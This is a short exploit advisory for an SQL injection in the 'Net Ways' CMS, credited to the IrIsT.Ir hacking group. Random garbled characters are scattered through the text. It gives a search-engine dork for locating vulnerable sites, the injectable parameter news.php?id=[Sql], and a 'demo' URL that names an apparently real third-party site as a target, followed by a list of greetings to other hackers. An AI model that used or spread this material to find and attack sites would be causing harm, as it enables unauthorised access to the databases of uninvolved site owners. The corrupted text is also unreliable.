################################################################################??######## . C% Y7 T, p3 t& D: h1 U/ k
# ; H* ~/ B* [$ o {/ c" |/ N) A
# Exploit Title : Net Ways Cms Sql Injection Vulnerability
( ^/ G# j' F6 U. _#
+ a6 z W' I1 n3 Q# Author : IrIsT.Ir
: m8 N3 F( F$ b( T3 W. ?#
8 m+ u3 z. Y; x# Discovered By : Am!r 2 u" A5 T1 V& I
#
( x/ s9 P" s" o! w9 J9 ?4 R# Home : http://IrIsT.Ir/forum
% ^# i2 Q1 B8 ^. N) |* Y#
/ y! Z: a$ ?; R( W. t8 q2 m" D# Software Link : http://www.netways.com/ www.political-security.com
8 ]7 [* `$ W% R4 p* k# 3 a0 w! i8 d6 K# e4 P& n- J% i: `
# Security Risk : High
( V3 I* y* Z$ B0 ~& k% S; Y+ g+ A#
( h1 ~. W9 J4 D8 ]# Version : All Version , A; z( q- y" \3 x
#
5 W7 l3 z6 n* O* a9 v& H# Tested on : GNU/Linux Ubuntu - Windows Server - win7 6 f8 S1 x Y: O. z5 _
# ; {7 C8 |* P; p4 K5 c- }
# Dork : intext:"Designed & developed by NetWays"
3 @; e) {0 i" {# M+ W#
' I8 J1 H7 ~' }& X: S ]################################################################################??######## 8 d. [9 Q0 L+ D) y1 Q7 H
# {& V- @! H: y0 a) P j ?
# Expl0iTs : * K2 w, _+ K9 l
# 5 q3 X- ^0 y5 _" M
# http://target.com/news.php?id=[Sql]
* |2 ^9 y* ~6 ^# + a; y/ G! Z, ?# ~, z
# 8 ~( P" q7 N; B' }$ f4 U, v
# D3mo :
; u! ?) L1 f0 H j U, W# 3 I+ T% Z1 c) j k
# http://compagnieparento.com/news.php?id=7[Sql]
2 @- k! k& u; O0 q! e7 N' C' J/ Z#
5 O% s4 C: u, g8 A+ z) [: d################################################################################??######## + M& V+ }! t v* K# o+ L" |
# ; _, ]2 g, }+ Q" J5 k( G1 @6 h5 M
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
+ b3 b1 Y7 Y1 _) m6 P# 7 E0 t7 b- a' k( Y
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
* }1 A6 f" Z6 K( V# ]- G* i* V#
; `$ K0 [% \3 p6 U. |# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum + f* U: t* s! _ x# V: i, f
# : Z2 c& ?* \/ {# T
################################################################################??######## |